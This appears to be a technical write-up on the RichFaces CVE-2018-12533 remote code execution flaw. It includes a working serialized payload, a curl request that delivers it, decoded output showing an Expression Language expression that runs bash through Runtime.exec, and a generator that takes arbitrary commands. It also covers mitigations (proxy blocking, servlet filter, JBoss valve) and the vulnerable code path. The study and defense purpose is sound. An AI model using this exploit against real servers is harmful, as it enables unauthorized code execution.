
Details of CVE-2018-12533. Other versions of RichFaces are vulnerable, as can be seen here.
export PAYLOAD_BASE64_RICHFACES='eJx1k8-LFEcUx98MuKtZD0YhIQTJOkpmBrarZ2ZdWdksmv2BGZg14oigEoY3NW-7a62u6q16M9PrYm5evHr1llMgAcG!wJsEctk!IR4kh4CE5Bzp7tUlktSlisenvu9Lfev99Acc8w4uWRcJp2S8jZK8cGRG5O4rFjEnWtxAZbizcZO8HTtJF7oJRrSBjKsvD3479c-Pz6ow24Xjg2G0brV1XZgdbFuXIOenmFQUcxdmBlM14vgunJAoY8Khph4cG4yQkeF0bwcnGGo0UfjtcIckr!RgZpDmjXfhe6hkKZSrAgBfAICF1Dv4Mr-WidK1tElqDRkWfUamb6wekevjhNydX56vPnn661YVqj04ITV6fx0T-nffPjtlopUefORxQqNCg-GTklA27JNTqNWD3PlKlubt69Imwo9NYUATe0Fa9ChCubdFHNvRmjIjZaJ33qtQ6UElYfi8UM1C0mEJbmapI--VNSvZ!yrfwuhD-p3ySYDMwWflc5AWH3J4-q8La692uVpwZ95zR8QPjx73!7x78FVO5A7O5V9iZ2i9!y-9bpLq4ZtP!5578fFW3jsPae4BQGWuMnt-v8hj3RqmjEVEvJkxOYP6sNRo5sX1PIZGU2xbl4fRqJWmvHQqZdEvtk0TKUNbaDAiV2sKQ9Ou8YxGUilSAmt7hwq-1hQ0QV2KiTxXcXNsWCWU04fHRlNQRrJxrz5EH9cX6oGsL9TZjmU8H3KShu8nIZiMtSGHQ6UV7wVyQkGn1V4O2p2lxcXAbQfti4vtVtBpdZZa7VYnaLdbF5eW6981a82HAGMHZ-71jpwc!rCfD26!!v3s!rXipQGgymUgAqcsrjlMYyV9Z4Ph1NHVcijSNJt-DVfCiaKpD6U1fqwZb-DIoRVZPqvzVy8vLyy154vJWa2d35eYsoxxjdCIoviwlr0F6sFSwQ__'
curl "http://localhost:8080/myapp/a4j/s/3_3_3.Finalorg.richfaces.renderkit.html.Paint2DResource/DATA/${PAYLOAD_BASE64_RICHFACES}.seam"
After DATA/ and before .seam, is the attack payload. This is just a Java class serialized, zipped and encoded in Base64. It is a Base64 with the format slightly modified by RichFaces to be URL-compatible.
This class contains a command line in the format of Expression Language that is executed by the application, more precisely by RichFaces, and that is where the problem lies, because arbitrary code can be executed on the server.
The command encoded in the above payload is
touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458(for demonstration purposes only) and we will verify this shortly.
git clone [email protected]:mhagnumdw/richfaces-vulnerability-cve-2018-12533-rf-14310.git
cd richfaces-vulnerability-cve-2018-12533-rf-14310
echo "${PAYLOAD_BASE64_RICHFACES}" | \
sed 's/-/+/g' | \
sed 's#!#/#g' | \
sed 's/_/=/g' | \
base64 -d | \
zlib-flate -uncompress > UmaClasse.serialized-class.bin
Converts the payload from RichFaces Base64 format to standard Base64 format. Decodes the Base64, which in this case is a zipped binary, then decompresses it, generating the binary of the serialized Java class.
Here we will see the malicious command that is inside the payload.
The command below will show all the attributes of the class and their respective types defined in the class. It does not display runtime types, if you don't know what that means, that's fine.
Here we are executing Java code as if it were a script thanks to JBang
chmod +x JavaObjectDeserializer.java
./JavaObjectDeserializer.java UmaClasse.serialized-class.bin
The output is something like this:
Objeto java convertido para JSON:
{
"_width (int)": 111,
"_height (int)": 31,
"_data (java.lang.Object)": null,
"_format (int)": 1,
"_paint (java.lang.Object)": {
"className (java.lang.String)": null,
"savedState (java.io.Serializable)": {
"m (javax.el.MethodExpression)": {
"attr (java.lang.String)": "/views/consultaPadrao.xhtml @98,51 paint=\"#{captchaBean.paint}\"",
"orig (javax.el.MethodExpression)": {
"expectedType (java.lang.Class)": null,
"expr (java.lang.String)": "#{facesContext.getExternalContext().getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"java.lang.Runtime.getRuntime().exec(['bash','-c','touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458'])\")}",
"fnMapper (javax.el.FunctionMapper)": null,
"varMapper (javax.el.VariableMapper)": null,
"paramTypes ([Ljava.lang.Class;)": [
"java.awt.Graphics2D",
"java.lang.Object"
]
}
}
}
},
"cacheable (boolean)": false,
"_bgColor (int)": 0
}
Arquivo .class gravado em: org.richfaces.renderkit.html.Paint2DResource$ImageData.class
⚠️ The main point is the attribute _paint.savedState.m.orig.expr, where the malicious code is located, which in this example is just a harmless code that creates a file on disk: touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458
chmod +x Generator_Paint2DResourceImageData.java
./Generator_Paint2DResourceImageData.java
# or
./Generator_Paint2DResourceImageData.java <a command here>
./Generator_Paint2DResourceImageData.java touch /tmp/someone-was-here
The output will display the commands at the point for you to execute against a vulnerable server. Just adjust the URL.
A less simple and more performant option is to modify the RichFaces code to perform some handling. Below is the relevant stack.
Another simpler option than the previous one is to create a filter (javax.servlet.Filter) that acts only on the path in question, deserializing the Base64 present in the path and performing the necessary verification to determine whether the request should continue or be rejected. It is important to emphasize that deserialization must occur via the LookAheadObjectInputStream class, as done in org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(String), to try to avoid as much as possible deserialization security issues, such as malicious code execution.
One option is to block the endpoint path in some proxy that is in front of the application.
Another option, which I think is worth implementing, but does not exclude the first option, is to create a filter (javax.servlet.Filter) that acts only on the path in question and blocks access. The blockage consists only of responding to the request without letting the filter chain continue execution. You can put text in the body and use http status code 410 (Gone). Remember that this filter must be defined in the application's web.xml. An example of this filter: PathBlockerFilter.
If you use JBoss EAP, the filter mentioned here can be implemented as a valve (the change is minimal), and:
- it will be executed before the filters defined in
web.xml- it must be defined in the
jboss-web.xmlfile as the first<valve>, or- it can be defined in standalone.xml (or domain.xml) in the subsystem
urn:jboss:domain:webvia the<valve>tag- Example of this valve: PathBlockerValve
tl;dr: the malicious code is executed by the method
org.richfaces.renderkit.html.Paint2DResource.send(ResourceContext), at linepaint.invoke(facesContext, new Object[] {graphics,data._data});.
When the HTTP request is made, it reaches the method org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(String), according to the stack below:
Daemon Thread [http-0.0.0.0:8080-1] (Suspended)
owns: org.apache.coyote.Request (id=27053)
org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(java.lang.String) line: 366
org.ajax4jsf.resource.InternetResourceService.serviceResource(java.lang.String, javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 156
org.ajax4jsf.resource.InternetResourceService.serviceResource(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 141
dataString = key.substring(dataStart); the Base64 in RichFaces format is extracted (remembering that this Base64 ultimately is a Java object that was serialized and zipped);objectArray = decrypt(dataArray) this Base64 is decoded and decompressed;data = in.readObject() the Java object with the malicious code is deserialized, i.e., we have the object instance.Then the request reaches the method org.richfaces.renderkit.html.Paint2DResource.send(ResourceContext), according to the stack below:
Daemon Thread [http-0.0.0.0:8080-1] (Suspended (breakpoint at line 187 in org.richfaces.renderkit.html.Paint2DResource))
owns: org.apache.coyote.Request (id=27053)
org.richfaces.renderkit.html.Paint2DResource.send(org.ajax4jsf.resource.ResourceContext) line: 187
org.ajax4jsf.resource.ResourceLifecycle.sendResource(org.ajax4jsf.resource.ResourceContext, org.ajax4jsf.resource.InternetResource) line: 221
org.ajax4jsf.resource.ResourceLifecycle.send(org.ajax4jsf.resource.ResourceContext, org.ajax4jsf.resource.InternetResource) line: 148
org.ajax4jsf.resource.InternetResourceService.serviceResource(java.lang.String, javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 226
org.ajax4jsf.resource.InternetResourceService.serviceResource(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 141
⚠️ Then at line paint.invoke(facesContext, new Object[] {graphics,data._data}); the malicious code is finally executed.
I will mention one case, the rich:paint2D component: https://docs.jboss.org/richfaces/latest_3_3_X/en/devguide/html_single/#rich_paint2D
It is possible to see the payload received by the application by enabling DEBUG logging on class org.ajax4jsf.resource.ResourceBuilderImpl.